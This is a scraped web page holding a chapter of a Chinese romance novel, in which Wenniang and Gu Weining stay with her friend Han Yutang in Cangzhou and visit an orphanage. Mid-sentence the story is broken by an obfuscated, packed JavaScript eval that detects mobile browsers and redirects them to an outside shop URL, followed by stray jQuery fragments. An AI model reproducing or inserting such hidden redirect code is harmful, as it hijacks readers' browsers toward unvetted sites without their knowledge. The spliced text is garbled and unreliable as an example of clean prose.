文趣网 > 其他小说 > 任尔明月下西楼 > 36. 再见玉娘
    韩玉棠虽不明所以,但她何等聪明,立即将纹娘等人迎了进来,亲热道:“表姐,许久未见,怎到沧州来了,我们进屋说话!”一行人行至花厅,韩玉棠将下人都遣走,纹娘方说了找人之事,只是将翻案的目的含糊过去了,又解释这一路为掩人耳目,她和顾维宁化名顾昭和林维,扮成夫妻之事。

    成亲不过半载,韩玉棠已成长不少,她一听就知道纹娘有所隐瞒,思虑片刻才道:“纹娘,我自是愿意帮你,但沧州是紧要地界,林郎君身份贵重,这事还需秉明公爹,才能给你们答复,他和虞郎因公外出,估摸着这两日便能归来。”

    纹娘清楚她的顾虑,亦欣慰韩玉棠的成熟稳重,并无芥蒂,柔声道:“玉娘,你肯帮忙传话,我们已经是感激不尽,今日叨扰,待虞知府回来,再来拜会!”

    “纹娘是恼我了么,既到了沧州,哪有让你住在外面的道理?”韩玉棠气鼓鼓的,仿佛重回闺中她俩打闹的模样。

    纹娘瞥了眼顾维宁二人,连忙上前拉着她的手解释道:“你别误会,若只我一人定会赖着你,可是沧州知府这个位置,多少双眼睛盯着,万一有意外,我怕你难做。”

    韩玉棠这才脸色放晴,信誓旦旦道:“我虽嫁进虞家不久,但公爹为人公正严明,既然你愿为他作保,这点事儿我还是能做主的,这两日你们就在府里安顿下来!”说着又面带得意对顾维宁道:“还请林郎君暂居客房,我与纹娘许久未见,须得同住叙旧!”

    自进了虞府,顾维宁便秉承着少说多看的原则,见她俩聊得火热,亦不打扰,闻言笑道:“全凭韩少夫人做主,某自当客随主便。”

    是夜,纹娘与韩玉棠如在闺中般躺在一张床上,感慨万分,虽分别不到一年,却各自皆有酸甜苦辣。闲话许久后,韩玉棠侧过身子盯着纹娘,终于忍不住问道:“你离开侯府了么,为何会与顾尚书假扮夫妻呢?以前在家阿耶偶尔提起此人,说他心思深沉,捉摸不定,纹娘,我有些担心你。”

    纹娘轻叹一声,便将在侯府的遭遇与她详细说了,谁料韩玉棠竟流下泪来,纹娘也慌了,抬起手就要替她拭泪:“好难得见一面,怎么就哭了?”见韩玉棠眼眶红红的,并无戚色,又揶揄道:“要是被你家虞郎知道,可要将我赶出去了。”

    羞得韩玉棠就要挠她痒痒,两人又玩闹一阵,玉棠才道:“没想到你嫁进侯府竟生了这么多波折,早知如此,当初就该让谢五郎上你家提亲,也好比嫁给一个将死之人!”

    谢五郎之事好似是上辈子了,纹娘怅然:“我与五郎有缘无分,真嫁进去恐又是另一种不如意,再说魏夫人对我疼爱有加,是顶好的人。”

    “何不想办法和离,你年轻貌美又有才干,不愁找不到好人家!”来沧州前韩玉棠也曾与纹娘见过几面,只是世子新丧,侯府位高,不好提及此事,可如今侯府已是龙潭虎穴,不如趁早离开。

    纹娘摆弄着玉娘垂落在枕边的头发,轻声道:“快了,此行也有这方面的考量,不说这事儿,我觉着你瘦了不少,是水土不合,还是虞家人苛待你?”言语中充满担忧。

    说到这里,韩玉棠长叹一声:“虞家很好,可沧州气候饮食却不太习惯,再者在京中每日安逸享乐,最苦不过被母亲拘束着做女红,可到了这里,着实见识了百姓疾苦,虞家亦是体恤民生之人,免不了时常费心,正好明日我要随婆母去慈幼院,你同我一道吧?”

    纹娘自然应下,夜已深,她虽有说不完的话,但近日接连奔波,好容易睡上这香香软软的大床,实在昏昏欲睡,意识模糊,不知不觉就闭上眼了。

    次日亦是艳阳天,纹娘正要跟着韩玉棠与她婆母姜夫人前往慈幼院,却意外在院子里碰到顾维宁,几人相互见了礼,纹娘好奇道:“原以为你出门了,怎这样清闲,金铎呢?”

    “遣他去办些事情,我既是少夫人的表姐夫,自然要安分守己,夫随妻便。”他今日换了身月白长袍,风流之态又回来了。

    纹娘见他油嘴滑舌,甩了他一帕子,姜夫人忍不住笑道:“林郎君若无事,不如与我们一起去慈幼院,也好给圣上说说沧州百姓的艰难。”昨日韩玉棠已将两人情况据实说了,姜夫人亦是和善之人,此时不卑不亢,真心将两人当晚辈看待。

    “多谢夫人好意,某却之不恭了!”顾维宁作了个揖,言笑晏晏的跟着他们一起出门了。

    路上姜夫人介绍起城中的情况,沧州处在战争前线,男丁多去从军,留妇人孩童在家,土地亦荒废许多,这些年战事频繁,孤儿寡母便多了。虞知府上任后查处了一批鱼肉百姓的土豪劣绅,将缴获的钱财用到民生之事上,这慈幼院便是由此建起来的。

    “可是慈幼院维系需要源源不断的供给,罚没的钱财终究难以为继啊!以妾身拙见,这仗若是继续打下去,恐怕百姓都活不起了。”姜夫人说着也不由得感慨起来,从江南到北境,两地差距她感同身受,真心希望沧州百姓能好起来。

    一路走来,顾维宁观察城中情形,屋宇破旧,道路尘土飞扬,街上多是妇人孩童,商铺生意冷清,皆是民生凋敝之相,闻言亦有同感:“夫人言之有理,沧州之弊,唯有停战互市、恢复耕作方能解决。只是我们耗不起,北狄只会更难受,但大盛需得大胜一场,才好和谈。”

    姜夫人听得连连点头,难怪他如此年轻就位极人臣,果真有见识,几人说话间便到了慈幼院。进门就是个大院子,十来个孩童在院子里嬉戏,有男有女,皆不过十岁,见姜夫人一行人进来,照管他们的妇人立即将孩子们聚在一起,这些孩子虽性情各异却还是懂事的叫人问好。

    姜夫人与纹娘等人给孩子们发放玩具点心,仆人们正搬运着带来的粮食物资,院子里顿时热闹起来,姜夫人环视四周,没见到管事之人,立即问道:“张妈妈去哪儿了?”

    有妇人答道:“刚送来一个七八岁的孩童,张妈妈正给他洗澡呢!”刚说完,就见一个小男孩儿光着身体喊叫着从浴房冲出来,年轻的女孩儿们忙捂着眼,屋里张妈妈急着喊道:“别让他跑出去了!”

    顾维宁见状一个

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17684844|204327||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    箭步上去将人拎起来,提溜着就往屋里走去,就听得屋内一阵乒乓乱响,约莫一炷香后他才出来,脸上,身上都是水渍。纹娘不假思索地上前,温柔地替他擦干脸上的水滴,关心道:“没事吧,那孩子怎么啦?”姜夫人、韩玉棠等人也好奇地看过来。

    一阵幽香袭来,顾维宁瞧着她光洁的额头,专注的眼神,心中莫名地悸动,他鬼使神差地抓住纹娘的手,温声道:“不妨事,那孩子许是受了刺激,一时激动,现在已经平静下来了。”

    这时张妈妈也从屋里出来,忙向顾维宁道谢:“幸得郎君开导,不然还不知他怎么样闹腾呢!”

    纹娘疑惑道:“我看其他孩子都很乖巧,这孩子是怎么了呢?”

    “这孩子父亲战死,母亲前几日也得病去世了,家中已无其他长辈,刚被邻人送过来,想是到了陌生环境,心中又悲又怕,这才应激了。”张妈妈说着瞧见纹娘与顾维宁一直牵着手,忙恭维道:“多亏您夫君心善,哄着他讲道理,这才安抚下来。”

    纹娘这才发现手一直被顾维宁牵着,迅速抽了出来,脸色绯红,张妈妈心领神会地笑笑,便去给姜夫人汇报慈幼院近来的账务。韩玉棠也唤两人过去,带他们参观慈幼院,这里屋舍不算大,多是七八个孩童挤在一个大炕上,吃穿皆是粗食布衣,韩玉棠也忧愁:“哎,别看这些简陋粗糙,这么多人加起来也是笔不小的开支,再说沧州到处都是用钱的地方,分到这儿的也不多了。”

    纹娘心里也算着账,沉吟半晌问道:“小时候我也跟着母亲去过京中的慈幼局,记得经常会有贵族富户捐助物资钱帛,沧州可有组织过?”

    “母亲也曾办过宴,但我们初来乍到,这些人都精着呢!这都是其次,孩子们不是小猫小狗,给口饭吃就行,如今最头疼的便是如何教养。”韩玉棠边说着,边检查起孩童们的起居物件,以防慈幼院的婆子们不上心。

    顾维宁一直留心观察,听到这里难得开口:“我记得京中的慈幼局会用善款请先生定期来教孩子们读书识字,也会与一些愿意教学徒的工坊合作,将有天分的孩子送去学门手艺,慈幼局先垫付学费,待孩子能挣钱了,头几个月的工钱还给慈幼局,此法少夫人或可参考。”

    韩玉棠闻言眼前一亮,喜形于色兴奋道:“这法子甚好!真让我豁然开朗,待归家后我便与母亲商量此事,我先替孩子们谢谢您了!”几人正聊着,下人来请,姜夫人已经忙完,准备回府了。

    回去路上,韩玉棠忍不住与纹娘耳语:“林郎君当真让我刮目相看,他日理万机还能关注到此等小事,不愧是天子近臣!”

    纹娘不好私自透露顾维宁曾待过慈幼局,只得含糊道:“他既掌管户部,熟悉民生之事理所当然嘛。”

    韩玉棠见她不自在,想起什么似的,一脸狡黠地揶揄道:“老实交代,他是不是对你有意,我可瞧见他牵你的手了!”纹娘耳根咻的一下红了,胡乱应付说韩玉棠看错了,便借机转移话题。几人刚回府,就听得下人来报,主君与大郎回来了。